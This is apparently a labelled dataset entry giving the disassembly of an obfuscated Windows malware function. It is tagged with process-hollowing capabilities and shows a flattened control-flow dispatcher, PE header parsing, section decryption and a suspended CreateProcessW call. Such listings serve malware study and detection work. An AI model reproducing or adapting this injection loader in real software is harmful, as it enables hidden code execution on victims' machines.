Function at 0x10002f80
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x178
mov eax, dword [0x10033600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x180], 0x99fce918
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x184], eax
sub eax, 0x80e88a3f
je 0x1000ace1
jmp 0x10002fbc
mov eax, dword [ebp - 0x184]
sub eax, 0x8126cf3a
je 0x10008a9a
jmp 0x10002fd2
mov eax, dword [ebp - 0x184]
sub eax, 0x81996048
je 0x10005f9c
jmp 0x10002fe8
mov eax, dword [ebp - 0x184]
sub eax, 0x822758b1
je 0x10005cb1
jmp 0x10002ffe
mov eax, dword [ebp - 0x184]
sub eax, 0x82f120e8
je 0x10007951
jmp 0x10003014
mov eax, dword [ebp - 0x184]
sub eax, 0x8387e9d7
je 0x10007f36
jmp 0x1000302a
mov eax, dword [ebp - 0x184]
sub eax, 0x83886f29
je 0x1000b604
jmp 0x10003040
mov eax, dword [ebp - 0x184]
sub eax, 0x8421debc
je 0x1000ad50
jmp 0x10003056
mov eax, dword [ebp - 0x184]
sub eax, 0x846887d1
je 0x10009ee3
jmp 0x1000306c
mov eax, dword [ebp - 0x184]
sub eax, 0x868b084d
je 0x10009e28
jmp 0x10003082
mov eax, dword [ebp - 0x184]
sub eax, 0x8710ddbb
je 0x10009197
jmp 0x10003098
mov eax, dword [ebp - 0x184]
sub eax, 0x878a0e87
je 0x10005c73
jmp 0x100030ae
mov eax, dword [ebp - 0x184]
sub eax, 0x8931f8f8
je 0x10007c31
jmp 0x100030c4
mov eax, dword [ebp - 0x184]
sub eax, 0x8947d4cf
je 0x100098dc
jmp 0x100030da
mov eax, dword [ebp - 0x184]
sub eax, 0x8a3e9f3a
je 0x1000903f
jmp 0x100030f0
mov eax, dword [ebp - 0x184]
sub eax, 0x8adf89e3
je 0x1000bb19
jmp 0x10003106
mov eax, dword [ebp - 0x184]
sub eax, 0x8d30ffe1
je 0x1000a379
jmp 0x1000311c
mov eax, dword [ebp - 0x184]
sub eax, 0x8d9b46c8
je 0x10007db4
jmp 0x10003132
mov eax, dword [ebp - 0x184]
sub eax, 0x8ea5b695
je 0x100066d8
jmp 0x10003148
mov eax, dword [ebp - 0x184]
sub eax, 0x8f0b39ef
je 0x1000a299
jmp 0x1000315e
mov eax, dword [ebp - 0x184]
sub eax, 0x8f36ca9c
je 0x10008258
jmp 0x10003174
mov eax, dword [ebp - 0x184]
sub eax, 0x8f5358cc
je 0x10009f86
jmp 0x1000318a
mov eax, dword [ebp - 0x184]
sub eax, 0x8f64ead4
je 0x100099d6
jmp 0x100031a0
mov eax, dword [ebp - 0x184]
sub eax, 0x8ff4fe23
je 0x10007dc3
jmp 0x100031b6
mov eax, dword [ebp - 0x184]
sub eax, 0x8ffbef2a
je 0x1000b71a
jmp 0x100031cc
mov eax, dword [ebp - 0x184]
sub eax, 0x90269f06
je 0x1000922e
jmp 0x100031e2
mov eax, dword [ebp - 0x184]
sub eax, 0x9067677f
je 0x10006905
jmp 0x100031f8
mov eax, dword [ebp - 0x184]
sub eax, 0x90fc8e63
je 0x100096cc
jmp 0x1000320e
mov eax, dword [ebp - 0x184]
sub eax, 0x91b0e716
je 0x1000a273
jmp 0x10003224
mov eax, dword [ebp - 0x184]
sub eax, 0x92615c32
je 0x1000b937
jmp 0x1000323a
mov eax, dword [ebp - 0x184]
sub eax, 0x92a6da7a
je 0x100096db
jmp 0x10003250
mov eax, dword [ebp - 0x184]
sub eax, 0x92dacfe9
je 0x10008939
jmp 0x10003266
mov eax, dword [ebp - 0x184]
sub eax, 0x9338f177
je 0x1000747c
jmp 0x1000327c
mov eax, dword [ebp - 0x184]
sub eax, 0x942140a9
je 0x10007b1d
jmp 0x10003292
mov eax, dword [ebp - 0x184]
sub eax, 0x943c766a
je 0x1000a30b
jmp 0x100032a8
mov eax, dword [ebp - 0x184]
sub eax, 0x944a0c9a
je 0x10008c51
jmp 0x100032be
mov eax, dword [ebp - 0x184]
sub eax, 0x947d6841
je 0x10007c6d
jmp 0x100032d4
mov eax, dword [ebp - 0x184]
sub eax, 0x94f0d5de
je 0x10005dd3
jmp 0x100032ea
mov eax, dword [ebp - 0x184]
sub eax, 0x9580a9bc
je 0x1000b946
jmp 0x10003300
mov eax, dword [ebp - 0x184]
sub eax, 0x95da8281
je 0x10009573
jmp 0x10003316
mov eax, dword [ebp - 0x184]
sub eax, 0x96b83cb0
je 0x100076fc
jmp 0x1000332c
mov eax, dword [ebp - 0x184]
sub eax, 0x96d3e854
je 0x10005b53
jmp 0x10003342
mov eax, dword [ebp - 0x184]
sub eax, 0x97640028
je 0x100063b8
jmp 0x10003358
mov eax, dword [ebp - 0x184]
sub eax, 0x9798e0a7
je 0x1000a178
jmp 0x1000336e
mov eax, dword [ebp - 0x184]
sub eax, 0x97ea1366
je 0x1000b9cb
jmp 0x10003384
mov eax, dword [ebp - 0x184]
sub eax, 0x980549fd
je 0x10006daf
jmp 0x1000339a
mov eax, dword [ebp - 0x184]
sub eax, 0x9856c1b7
je 0x10005a31
jmp 0x100033b0
mov eax, dword [ebp - 0x184]
sub eax, 0x9870be0c
je 0x100083dd
jmp 0x100033c6
mov eax, dword [ebp - 0x184]
sub eax, 0x98787f2d
je 0x10008532
jmp 0x100033dc
mov eax, dword [ebp - 0x184]
sub eax, 0x99fce918
je 0x10005683
jmp 0x100033f2
mov eax, dword [ebp - 0x184]
sub eax, 0x9a20b0ce
je 0x100061bc
jmp 0x10003408
mov eax, dword [ebp - 0x184]
sub eax, 0x9add3746
je 0x10005b34
jmp 0x1000341e
mov eax, dword [ebp - 0x184]
sub eax, 0x9b35dd5f
je 0x10006601
jmp 0x10003434
mov eax, dword [ebp - 0x184]
sub eax, 0x9b55ad4e
je 0x1000b7f3
jmp 0x1000344a
mov eax, dword [ebp - 0x184]
sub eax, 0x9be85590
je 0x10007c4e
jmp 0x10003460
mov eax, dword [ebp - 0x184]
sub eax, 0x9be93cd8
je 0x100065d5
jmp 0x10003476
mov eax, dword [ebp - 0x184]
sub eax, 0x9c085969
je 0x10007854
jmp 0x1000348c
mov eax, dword [ebp - 0x184]
sub eax, 0x9cd56e94
je 0x1000b4ce
jmp 0x100034a2
mov eax, dword [ebp - 0x184]
sub eax, 0x9d4cecbd
je 0x100069e3
jmp 0x100034b8
mov eax, dword [ebp - 0x184]
sub eax, 0x9d7342b4
je 0x10007266
jmp 0x100034ce
mov eax, dword [ebp - 0x184]
sub eax, 0x9d8956ba
je 0x1000b5a7
jmp 0x100034e4
mov eax, dword [ebp - 0x184]
sub eax, 0x9e313518
je 0x10008977
jmp 0x100034fa
mov eax, dword [ebp - 0x184]
sub eax, 0x9e48b730
je 0x1000ae26
jmp 0x10003510
mov eax, dword [ebp - 0x184]
sub eax, 0x9f035b9c
je 0x1000b3d8
jmp 0x10003526
mov eax, dword [ebp - 0x184]
sub eax, 0x9f3608b8
je 0x10008e26
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x180], 0x7eee72f7
jmp 0x1000bdd4
mov dl, 1
mov eax, 0x96d3e854
mov ecx, 0x973eb71
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
movss xmm0, dword [0x100193a4]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x180], 0x96d3e854
jmp 0x1000bdd4
movss xmm0, dword [0x100193a0]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x180], 0x6de10e2a
jmp 0x1000bdd4
movss xmm0, dword [0x1001939c]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x180], 0xc27f2a9c
jmp 0x1000bdd4
movss xmm0, dword [0x10019394]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x180], 0xcbd3e46a
jmp 0x1000bdd4
movss xmm0, dword [0x1001938c]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x180], 0xeebb4e86
jmp 0x1000bdd4
mov eax, dword [0x10034928]
mov ecx, dword [0x10034924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbfb0131e
mov ecx, 0x13bba551
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
mov dword [ebp - 0x180], 0x76199e6a
jmp 0x1000bdd4
mov eax, dword [0x10034928]
mov ecx, dword [0x10034924]
mov edx, eax
sub edx, 0xfebe8e4f
sub edx, 1
add edx, 0xfebe8e4f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xce3a4ff5
mov ecx, 0x2e78bc38
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
mov dword [ebp - 0x180], 0xfdae3667
jmp 0x1000bdd4
mov ecx, dword [0x10034928]
mov eax, dword [0x10034924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x785654b1
mov ecx, 0xb478be7c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
mov dword [ebp - 0x180], 0xa3caffc1
jmp 0x1000bdd4
mov dl, 1
mov eax, 0xfe46f22e
mov ecx, 0x51e30a3f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
movss xmm0, dword [0x10019340]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x180], 0xfe46f22e
jmp 0x1000bdd4
mov dl, 1
mov eax, 0x6d706b09
mov ecx, 0x9fa5b9ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
mov eax, dword [0x10034928]
mov ecx, dword [0x10034924]
mov edx, eax
add edx, 0xe7d03c83
sub edx, 1
sub edx, 0xe7d03c83
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x354d79a5
mov ecx, 0xadc5e7da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
mov dword [ebp - 0x180], 0x12557a2f
jmp 0x1000bdd4
mov dword [ebp - 0x180], 0xe98c73a0
jmp 0x1000bdd4
mov dword [ebp - 0x180], 0x6e35730a
jmp 0x1000bdd4
movss xmm0, dword [0x100192f8]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x180], 0xa544f9f3
jmp 0x1000bdd4
mov dword [ebp - 0x180], 0x439a48f3
jmp 0x1000bdd4
mov dl, 1
mov eax, 0x48aa6f2b
mov ecx, 0x9be85590
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
movss xmm0, dword [0x100192ec]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x180], 0x947d6841
jmp 0x1000bdd4
movss xmm0, dword [0x100192e8]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x180], 0x48aa6f2b
jmp 0x1000bdd4
mov dword [ebp - 0x180], 0x8ff4fe23
jmp 0x1000bdd4
mov ecx, dword [0x10034928]
mov eax, dword [0x10034924]
mov edx, ecx
sub edx, 0x27456a
sub edx, 1
add edx, 0x27456a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb3a3e110
mov ecx, 0xcdcf5186
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
mov ecx, dword [0x10034928]
mov eax, dword [0x10034924]
mov edx, ecx
add edx, 0xff204dbc
sub edx, 1
sub edx, 0xff204dbc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2a3d2bb5
mov ecx, 0xf4c77d80
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
movss xmm0, dword [0x100191b4]
movss dword [ebp - 0x138], xmm0
mov eax, dword [0x10034928]
mov ecx, dword [0x10034924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x58ee9495
mov ecx, 0x3f7d6972
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
movss xmm0, dword [0x100191b0]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x100191ac]
movss dword [ebp - 0x138], xmm0
mov eax, dword [0x10034928]
mov ecx, dword [0x10034924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9b55ad4e
mov ecx, 0xc003da66
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
mov ecx, dword [0x10034928]
mov eax, dword [0x10034924]
mov edx, ecx
sub edx, 0xd0b69853
sub edx, 1
add edx, 0xd0b69853
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbd61b8c6
mov ecx, 0xabc1d0c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
mov dword [ebp - 0x180], 0x558ab9d3
jmp 0x1000bdd4
mov eax, dword [0x10034928]
mov ecx, dword [0x10034924]
mov edx, eax
sub edx, 0xc977dbc7
sub edx, 1
add edx, 0xc977dbc7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd5bfe98b
mov ecx, 0xbe5b06ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
mov dword [ebp - 0x180], 0xa7028ec8
jmp 0x1000bdd4
mov ecx, dword [0x10034928]
mov eax, dword [0x10034924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfaebad4f
mov ecx, 0x6bb482be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
movss xmm0, dword [0x10019268]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x180], 0x4b9852ac
jmp 0x1000bdd4
mov dl, 1
mov eax, 0xf6170d7f
mov ecx, 0xaff0cd20
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
movss xmm0, dword [0x10019250]
movss dword [ebp - 0x140], xmm0
movss xmm0, dword [0x1001924c]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x180], 0x1f7c35bd
jmp 0x1000bdd4
mov eax, dword [ebp - 0x148]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xe8]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x150]
cmp dword [eax], 0x4550
sete al
and al, 1
mov byte [ebp - 0xe2], al
mov eax, dword [0x10034928]
mov ecx, dword [0x10034924]
mov edx, eax
sub edx, 0x3dd3a3fe
sub edx, 1
add edx, 0x3dd3a3fe
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x48f2b111
mov ecx, 0xe1a3d8aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
mov dword [ebp - 0x180], 0x92a6da7a
jmp 0x1000bdd4
mov ecx, dword [0x10034928]
mov eax, dword [0x10034924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x97ea1366
mov ecx, 0x7239b646
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
mov eax, dword [0x10034928]
mov ecx, dword [0x10034924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x62d52905
mov ecx, 0x4f91ac8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
mov dword [ebp - 0x180], 0xe53a2087
jmp 0x1000bdd4
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xb0]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0x10]
mov eax, dword [ebp - 0xb4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10002dd0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov edx, dword [eax]
mov eax, dword [ebp - 0x120]
mov esi, dword [eax]
mov eax, dword [ebp - 0x110]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0xc755b74c
mov ecx, 0x4c618bc2
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
mov edx, dword [ebp - 0xac]
mov esi, dword [ebp - 0xa8]
mov eax, 0xc755b74c
mov ecx, 0x3410cb57
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
mov ecx, dword [0x10034928]
mov eax, dword [0x10034924]
mov edx, ecx
add edx, 0x579a768a
sub edx, 1
sub edx, 0x579a768a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe050f9cd
mov ecx, 0xf1f0181e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
mov eax, dword [0x10034928]
mov ecx, dword [0x10034924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa5833fcd
mov ecx, 0xcee11f0f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x150]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0x99], al
mov dword [ebp - 0x180], 0x8f0b39ef
jmp 0x1000bdd4
mov dl, byte [ebp - 0x99]
mov eax, 0xe815176a
mov ecx, 0x265222a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
mov ecx, dword [0x10034928]
mov eax, dword [0x10034924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8adf89e3
mov ecx, 0x8d30ffe1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
mov dword [ebp - 0x180], 0x71259077
jmp 0x1000bdd4
mov dword [ebp - 0x180], 0x4d1b029f
jmp 0x1000bdd4
mov eax, dword [0x10034928]
mov ecx, dword [0x10034924]
mov edx, eax
sub edx, 0xcbafac3d
sub edx, 1
add edx, 0xcbafac3d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2939f582
mov ecx, 0xee68c95f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
sub ecx, 0x7fb70e4a
add ecx, 1
add ecx, 0x7fb70e4a
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov ecx, dword [0x10034928]
mov eax, dword [0x10034924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe091bcde
mov ecx, 0xb2a9d67
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000bdd4
movss xmm0, dword [0x1001922c]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x180], 0xe2e1ec4c
jmp 0x1000bdd4
movss xmm0, dword [0x10019214]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x180], 0x27ece23a
jmp 0x1000bdd4
movss xmm0, dword [0x100191f8]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x180], 0x66ef24ac
jmp 0x1000bdd4
movss xmm0, dword [0x100191ec]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x180], 0xd3d985ff
jmp 0x1000bdd4
movss xmm0, dword [0x100191cc]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x180], 0x74664e94
jmp 0x1000bdd4
movss xmm0, dword [0x100191b0]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x100191ac]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x180], 0x9870be0c
jmp 0x1000bdd4
mov dword [ebp - 0x180], 0xef28279
jmp 0x1000bdd4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x13600
call fcn.10001010
add esp, 8
lea eax, section..data
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x180], 0xfdd3ec54
jmp 0x1000bdd4
mov edx, dword [ebp - 0x158]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x180], 0x7239b646
jmp 0x1000bdd4
mov dword [ebp - 0x180], 0x943c766a
jmp 0x1000bdd4
jmp 0x10002fa0